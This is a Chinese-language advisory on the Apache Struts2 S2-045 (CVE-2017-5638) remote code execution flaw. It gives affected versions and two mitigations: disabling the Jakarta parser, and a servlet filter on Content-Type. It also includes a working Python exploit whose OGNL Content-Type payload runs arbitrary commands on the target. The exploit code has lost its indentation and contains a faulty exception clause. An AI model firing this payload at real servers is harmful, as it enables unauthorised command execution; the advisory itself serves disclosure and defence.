近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架-Struts2存在远程代码执行的严重漏洞。

漏洞编号: S2-045,CVE-2017-5638

漏洞名称:基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级:高危

漏洞描述:Apache Struts 2被曝出存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

漏洞利用条件和方式: 黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能

2.恶意攻击者精心构造Content-Type的值

漏洞影响范围

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10


测试利用代码

# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
except mysqldb.Error,e:
print e
poc()

POC使用方法: st2-045.py http://www.getpass.cn ifconfig


修复方案1

/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/下的 struts2-core-2.3.31.jar压解出来,然后编辑org\apache\struts2下的default.properties文件

找到struts.multipart.parser,该选项就是Struts2的Multipart parser应用配置,默认值为jakarta,即此次出现命令执行漏洞的上传框架。

将其修改为pell,相当于将存在漏洞的jakarta框架禁用了。

修改后值struts.multipart.parser=pell

重启tomcat服务,切换到/var/www/apache-tomcat-7.0.14/bin/目录下,首先执行./shutdown.sh,然后执行./startup.sh

再次执行POC


修复方案2

添加拦截器:此次 S2-045 漏洞触发点为Content-TypeHTTP头字段,故此可以添加action拦截器,过滤非法请求。

拦截类SecurityFilter.java代码:

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class SecurityFilter extends HttpServlet implements Filter {

        /**
         * 
         */
        private static final long serialVersionUID = 1L;


        public final String www_url_encode= "application/x-www-form-urlencoded";
        public final String mul_data= "multipart/form-data ";
        public final String txt_pla= "text/plain";

        public void doFilter(ServletRequest arg0, ServletResponse arg1,
                        FilterChain arg2) throws IOException, ServletException {

                HttpServletRequest request = (HttpServletRequest) arg0;
                HttpServletResponse response = (HttpServletResponse) arg1;

                String contenType=request.getHeader("conTent-type");

                if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){

                        response.setContentType("text/html;charset=UTF-8");
                        response.getWriter().write("非法请求Content-Type!");
                        return;
                }
                arg2.doFilter(request, response);
        }

        public void init(FilterConfig arg0) throws ServletException {

        }

}

SecurityFilter.java文件编译为SecurityFilter.class,放入服务器路径为:/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/classes/

然后修改web.xml(/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/web.xml)使得添加的拦截器生效 添加代码:

<filter>
    <filter-name>SecurityFilter</filter-name>
    <filter-class>SecurityFilter</filter-class>
  </filter>
<filter-mapping>
    <filter-name>SecurityFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

重启tomcat

漏洞相关链接:

http://www.freebuf.com/sectool/129224.html

http://www.codesec.net/view/541868.html

https://www.t00ls.net/thread-38534-1-1.html

https://github.com/Flyteas/Struts2-045-Exp Struts2 S2-045 (CVE-2017-5638) Exp Tools